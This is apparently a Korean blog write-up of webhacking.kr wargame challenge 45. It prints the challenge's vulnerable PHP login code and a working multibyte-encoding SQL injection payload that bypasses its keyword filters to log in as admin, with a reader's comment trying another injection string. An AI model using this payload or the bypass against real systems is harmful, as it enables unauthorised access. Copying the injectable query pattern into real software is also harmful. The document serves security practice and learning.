sweetchip's blog

안녕하세요 pgnsc 입니다.


webhacking.kr 의 45번을 다시한번 풀게되면서 블로그에 기록을 남겨봅니다.


힌트만 얻고 싶으신분은 아래 버튼을 눌러주세요 :D


힌트
















Write Up ---------------------

// 2012.11.02



제일먼저 들어가면 sql injection 문제라고 친절하게 알려주는 페이지가 있습니다.


자.. 일단 소스보기를 하면 index.phps 를 보라고 합니다.


------------------------------------------ index.phps - php source code


if(time()<1256900400) exit();
?>




$pw
="?????";

if(
$_GET[id] && $_GET[pw])
{

$_GET[id]=mb_convert_encoding($_GET[id],'utf-8','euc-kr');

$data=@mysql_fetch_array(mysql_query("select id from zmail_member where id='$_GET[id]' and pw=md5('$_GET[pw]')"));

if(
eregi("admin",$_GET[id])) exit();
if(
eregi("from",$_GET[id])) exit();
if(
eregi("union",$_GET[id])) exit();
if(
eregi("limit",$_GET[id])) exit();
if(
eregi("union",$_GET[pw])) exit();
if(
eregi("pw",$_GET[pw])) exit();
if(
eregi("=",$_GET[pw])) exit();
if(
eregi(">",$_GET[pw])) exit();
if(
eregi("<",$_GET[pw])) exit();


if(
$data)
{
echo(
"hi $data[0]

"
);

if(
$data[0]=="admin") @solve();
}


if(!
$data)
{
echo(
"Wrong");
}

}

?>


-----------------------------------------------------


여러 문자열을 검열하네요..


목표는 넘겨진 아이디가 최종 admin이 되어야 합니다.


그런데 인코딩 변환중에서 취약점이 발생하게 됩니다.


http://luxs1t.tistory.com/19 을 참고해주세요


암튼 인젝션을 시도해보면


asd' or id = concat(admin)# 의 구문으로 시도해야 합니다.


상황에 맞게 인코딩을 하면.


asd�' or id like concat(char(97),char(100),char(109),char(105),char(110))#






문제 해결 ^^


신고

'0x10 정보보안 > 0x16 Web' 카테고리의 다른 글

Webhacking.kr 55번 중간 풀이.  (10) 2012.11.05
webhacking.kr 49번 write up  (5) 2012.11.05
Webhacking.kr 46번 write up  (2) 2012.11.04
Webhacking.kr 37번 Write up  (2) 2012.11.04
webhacking.kr 45번 write up  (2) 2012.11.02
webhacking.kr Challenge 22 Write up.  (2) 2012.11.01

Comment 2

  • 행인
    2014.05.09 13:37 신고 수정 답글

    sweetchip 님 제가

    ') or substring(id,1) like 'a'#

    라고 해봤는데 안되더라구요..

    이건 왜 안되는지 혹시 아시나요??

    • 2014.05.14 22:08 신고 수정

      오래전에 푼 문제라 잘 기억이 나지 않습니다 ㅠ-ㅠ